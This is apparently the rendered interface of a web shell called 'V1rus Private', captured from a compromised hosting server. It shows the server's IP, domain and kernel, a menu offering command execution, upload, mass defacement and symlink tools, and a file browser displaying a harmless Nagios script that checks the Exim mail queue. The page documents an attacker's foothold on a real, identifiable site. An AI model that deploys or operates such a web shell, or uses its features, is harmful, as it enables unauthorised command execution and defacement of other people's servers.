V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
lib64
/
nagios
/
plugins
/
Viewing: check_eximqueue.sh
#!/bin/bash usage() { echo " check_eximqueue - Icinga Exim queue check" echo "" echo " Usage: check_eximqueue -w <warning queue size> -c <critical queue size> [ -h ]" echo "" echo " -w Queue size at which a warning is triggered" echo " -c Queue size at which a critical is triggered" echo " -h Show this page" echo "" } cmdopts() { if ( `test 0 -lt $#` ) then while getopts w:c:h myarg "$@" do case $myarg in h|\?) usage exit;; w) WARNING=$OPTARG;; c) CRITICAL=$OPTARG;; *) # Default usage exit;; esac done else usage exit fi } cmdopts $@ COUNT=$(sudo /sbin/exim -bpc) if [ "$COUNT" -ge "$CRITICAL" ] then echo "Critical: Exim queue is at $COUNT"; exit 2; elif [ "$COUNT" -ge "$WARNING" ] then echo "Warning: Exim queue is at $COUNT"; exit 1; else echo "OK: Exim queue is at $COUNT"; exit 0; fi
Coded With 💗 by
HanzOFC